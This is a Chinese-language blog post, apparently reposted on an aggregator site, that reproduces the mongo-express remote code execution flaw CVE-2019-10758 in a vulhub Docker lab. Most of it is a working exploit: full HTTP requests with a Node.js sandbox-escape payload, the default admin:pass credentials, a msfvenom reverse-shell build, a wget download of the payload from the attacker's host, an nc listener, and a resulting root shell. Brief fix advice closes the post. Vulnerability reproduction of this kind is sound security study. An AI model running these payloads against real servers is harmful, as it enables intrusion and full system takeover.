mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)

Posted Thgilil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)相关的知识,希望对你有一定的参考价值。

mongo-express

mongo-express是一个MongoDB的Admin Web管理界面,基于NodeJS、Express、Bootstrap3开源编写

漏洞介绍

在开启了端口8081后,攻击者可以直接访问,而目标服务器上没有修改默认的登录密码admin/pass,则攻击者可以远程执行node.js代码

复现环境

mongo-express 0.53.0 
MongoDB Version 3.4.24

漏洞环境搭建

采用github开源docker漏洞环境搭建而成
项目地址:

https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758

进入具体漏洞环境,执行如下命令启动一个0.53.0版本的mongo-express:

cd vulhub-master/mango-express/CVE-2019-10758
docker-compose build
docker-compose up -d

启动成功后,访问
ip:8081
出现如下界面表示搭建成功

漏洞复现

  • 创建目录

抓包发送如下数据包执行代码,在tmp目录下创建success目录

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:
Basic admin:pass

通过BurpSuite进行抓包,发送如下数据包

进入docker中创建的web环境中查看/tmp/目录,可以发现成功创建了success目录

docker-compose exec web ls /tmp

或者获取一个bash shell
docker-compose exec web /bin/bash


  • 执行命令反弹shell

思路:
在kali上使用msf生成一个反弹shell.py,开启pythonHTTP服务器供靶机下载
靶机上,通过wget下载shell.py,在利用命令执行漏洞执行这个文件,反弹一个shell给kali

操作步骤
kali上
因为知道靶机web环境中存在python环境,所以创建一个python的反弹shell

msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.109 LPORT=4444 -f raw > shell.py

运行python HTTP服务器,攻击者将从此服务器上下载shell.py

python -m SimpleHTTPServer

靶机上
攻击者执行命令,下载Python服务器上的shell.py,保存/tmp/shell
poc如下

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://192.168.0.109:8000/shell.py -O /tmp/shell")

下载成功

kali上监听4444端口

nc -lvp 4444

再次发包命令执行,执行shell文件

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

反弹shell成功,获得的是root权限

修复建议

1.及时升级漏洞组件
2.不要使MongoExpres服务暴露在公网上
3.修改默认登录密码admin:pass

以上是关于mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)的主要内容,如果未能解决你的问题,请参考以下文章

应用安全 - 数据库 | 工具 - mongo数据库 - mongo-express - 漏洞 - 汇总

更新:有POC发布 | Microsoft IE jscript远程命令执行0day漏洞(CVE-2020-0674)通告

云原生之Docker实战使用Docker部署MongoDB数据库管理工具Mongo-Express

使用mongo-express管理mongodb数据库

mongo-express 没有连接到 mongodb

Dockers 部署 MongoDB + mongo-express